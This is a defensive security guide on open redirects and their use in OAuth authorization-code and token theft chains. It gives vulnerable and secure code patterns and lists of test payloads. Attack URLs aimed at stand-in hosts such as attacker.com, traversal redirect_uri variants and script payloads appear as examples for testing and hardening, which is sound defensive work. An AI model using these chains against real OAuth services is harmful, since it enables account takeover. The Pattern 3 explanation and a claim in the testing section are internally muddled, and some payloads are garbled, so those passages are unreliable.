Open redirect (CWE-601) occupies an awkward place in security triage. It does not allow direct code execution, does not expose data by itself, and in a typical standalone bug it is rated low or informational. But in the context of OAuth 2.0 authorization flows — where callback URLs carry authorization codes and tokens — an open redirect can escalate to account takeover. Several real-world OAuth implementations have been broken by chains that start with a single unvalidated redirect parameter.
This guide covers the mechanics of the vulnerability, the OAuth token theft chain in practical terms, and the validation approaches that eliminate the risk.
What Is an Open Redirect
An open redirect occurs when a web application accepts a user-controlled URL parameter and redirects the browser to that URL without adequate validation. The application becomes a redirect proxy that any external origin can use.
The canonical form:
https://example.com/login?next=https://attacker.com
If the application redirects to https://attacker.com after processing, it is an open redirect. The user sees a URL for example.com in a link but ends up at attacker.com, often with no visible indication that the destination changed.
Common locations where open redirects appear:
?next=,?return=,?redirect=,?url=,?to=,?dest=parameters on login and logout flows- OAuth
redirect_uriparameters that are not strictly validated against an allowlist - Post-authentication forwarding that reads from query string, form data, or
Refererheaders - API gateway and SSO logout endpoints that accept a post-logout redirect
The OAuth Token Theft Chain
The dangerous form of open redirect exploitation in OAuth combines two weaknesses: a poorly validated redirect_uri parameter on the authorization endpoint and an open redirect vulnerability anywhere on the OAuth client’s domain.
The OAuth 2.0 authorization code flow works like this:
- Client redirects the user to the authorization server with
redirect_uri=https://client.com/callback - User authenticates and consents
- Authorization server redirects the user back to
redirect_uriwith an authorization code:https://client.com/callback?code=AUTH_CODE - Client exchanges the code for an access token at the token endpoint
The redirect_uri is supposed to be validated against a pre-registered list of allowed URIs. This prevents attackers from substituting their own URL. But many implementations are too permissive in what they consider a match.
Prefix matching vulnerability. Some authorization servers validate only that redirect_uri starts with a registered base URL. If https://client.com/callback is registered, they also accept https://client.com/callback?injected=true or https://client.com/callback/../../evil. This opens the attack:
Authorization request:
GET /oauth/authorize?
client_id=app123
&redirect_uri=https://client.com/callback/../../search?q=whatever&next=https://attacker.com
&response_type=code
&state=abc123
The authorization server validates the prefix, accepts the request, and redirects to https://client.com/callback?code=AUTH_CODE&...&next=https://attacker.com. If the client’s callback endpoint reads next and redirects again, the code (or token, in implicit flow) lands at attacker.com.
Path traversal variant. If the application has an open redirect at any path on the registered domain, an attacker can construct a redirect_uri that passes the prefix check but lands on the open redirect endpoint:
redirect_uri=https://client.com/some/open-redirect-path?url=https://attacker.com
After the authorization server redirects back, client.com immediately redirects to attacker.com, carrying the authorization code in the Referer header or as a URL parameter that the attacker’s server logs.
Implicit flow is worse. In the OAuth implicit flow (now deprecated but still in use in legacy applications), the authorization server returns the access token directly in the redirect URL fragment. An open redirect in this flow exposes the token directly:
https://attacker.com/#access_token=TOKEN&token_type=bearer&expires_in=3600
An attacker-controlled page can read location.hash to extract the token. No code exchange step is required.
Vulnerable Implementation Patterns
Pattern 1: Parameter-driven redirects with no validation
# Python/Flask — vulnerable
@app.route('/login')
def login():
next_url = request.args.get('next', '/')
# ... authentication logic ...
return redirect(next_url) # Blindly redirects to any URL
Pattern 2: Insufficient origin check
// Node.js — vulnerable
function safeRedirect(req, res) {
const target = req.query.redirect;
if (target && target.startsWith('/')) {
res.redirect(target); // Treats leading / as relative — but //attacker.com is also valid
} else {
res.redirect('/');
}
}
Checking that a URL starts with / is insufficient — //attacker.com/path is a valid protocol-relative URL that browsers resolve to https://attacker.com/path.
Pattern 3: Allowlist that’s too broad
ALLOWED_REDIRECT_DOMAINS = ['example.com']
def validate_redirect(url):
parsed = urlparse(url)
return parsed.netloc in ALLOWED_REDIRECT_DOMAINS # No scheme check
This passes javascript:alert(1) because urlparse('javascript:alert(1)').netloc is empty but the check returns False — but also passes https://evil.example.com if someone registers a subdomain. It also fails to handle URL encoding and null bytes that can confuse parsers.
Secure Implementation Patterns
For Redirect-After-Login
The safest approach is to never accept external URLs. Redirect-after-login should use relative paths only:
from urllib.parse import urlparse, urljoin
from flask import request, redirect, url_for
def is_safe_redirect(url):
"""Only allow relative paths on the same host."""
if not url:
return False
parsed = urlparse(url)
# Reject anything with a scheme or netloc — these are absolute URLs
if parsed.scheme or parsed.netloc:
return False
# Reject protocol-relative URLs
if url.startswith('//'):
return False
# Reject paths that could escape
if not url.startswith('/'):
return False
return True
@app.route('/login', methods=['POST'])
def login():
next_url = request.form.get('next', '')
# ... authentication logic ...
if is_safe_redirect(next_url):
return redirect(next_url)
return redirect(url_for('index'))
For OAuth redirect_uri Validation
Use exact string matching, not prefix matching. Register full callback URLs including path:
REGISTERED_REDIRECT_URIS = {
'app_client_id': [
'https://client.example.com/oauth/callback',
'https://client.example.com/oauth/callback/silent',
]
}
def validate_redirect_uri(client_id, redirect_uri):
allowed = REGISTERED_REDIRECT_URIS.get(client_id, [])
# Exact match only — no prefix matching, no glob
return redirect_uri in allowed
If you are implementing an authorization server, follow RFC 8252 (OAuth 2.0 for Native Apps) and RFC 6749 Section 3.1.2, which require exact matching for registered redirect URIs (or loopback URI variations for native clients). Prefix matching is explicitly called out as a security weakness in RFC 6749.
For APIs That Must Accept External URLs
If your application has a legitimate use case for redirecting to external URLs (link shorteners, preview services, outbound proxies), build an explicit allowlist and reject everything not on it:
ALLOWED_EXTERNAL_DESTINATIONS = {
'partner_a': 'https://dashboard.partner-a.com',
'partner_b': 'https://app.partner-b.io/landing',
}
def get_redirect_target(destination_key):
target = ALLOWED_EXTERNAL_DESTINATIONS.get(destination_key)
if not target:
raise ValueError(f"Unknown destination: {destination_key}")
return target
Never pass the destination URL directly from user input. Map user-supplied keys to server-side URL values.
URL Normalization Before Validation
URL parsing is inconsistent across libraries and languages. Normalize before validating:
from urllib.parse import urlparse, urlunparse
def normalize_url(url):
"""Normalize URL to detect evasion attempts."""
# Decode percent-encoding
import urllib.parse
decoded = urllib.parse.unquote(url)
# Lowercase the scheme and host
parsed = urlparse(decoded)
normalized = parsed._replace(
scheme=parsed.scheme.lower(),
netloc=parsed.netloc.lower()
)
return urlunparse(normalized)
Common evasion techniques that normalization catches:
HTTPS://attacker.com(uppercase scheme)https://attacker.com%[email protected](URL-encoded slashes in authority)https://[email protected](@ in host to abuse userinfo handling)https://attacker.com\x00client.example.com(null byte injection)
Detection in Code Review
Look for these patterns when reviewing pull requests:
# Dangerous patterns to flag
response.redirect(request.params[:next])
res.redirect(req.query.url)
header('Location: ' . $_GET['redirect'])
window.location = getParameter('return_url')
For OAuth implementations specifically, search for:
- Any
redirect_urivalidation that usesstartsWith,contains, or regex rather than exact lookup - Dynamic
redirect_uriconstruction that incorporates user input - Logging of full redirect URLs (which may include auth codes)
Testing for Open Redirects
Manual test payloads to try against ?next=, ?return=, ?url= parameters:
https://evil.example.com
//evil.example.com
//evil.example.com/%2F..
\/\/evil.example.com
https:evil.example.com
https://[email protected]
https://client.example.com.evil.example.com
https://client.example.com%00evil.example.com
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>
For OAuth redirect_uri parameters, test:
# If registered: https://client.example.com/callback
https://client.example.com/callback?injected=1
https://client.example.com/callback/../../../evil
https://client.example.com/callback%2F..%2F..%2Fevil
https://attacker.com/callback # Different domain entirely
https://client.example.com.attacker.com/callback # Subdomain confusion
A well-hardened implementation rejects all of these. Exact-match allowlists pass only the first test by design — any deviation from the registered exact value should be rejected.
Summary
Open redirects matter most at the intersection of authentication and authorization flows. A standalone open redirect is usually low severity. An open redirect on a domain registered as an OAuth redirect URI target — or on an endpoint that handles post-authentication forwarding — is a step in a token theft chain. The mitigations are straightforward: relative-path-only redirects for post-login flows, exact-match allowlists for OAuth callback URLs, and URL normalization before any validation logic runs.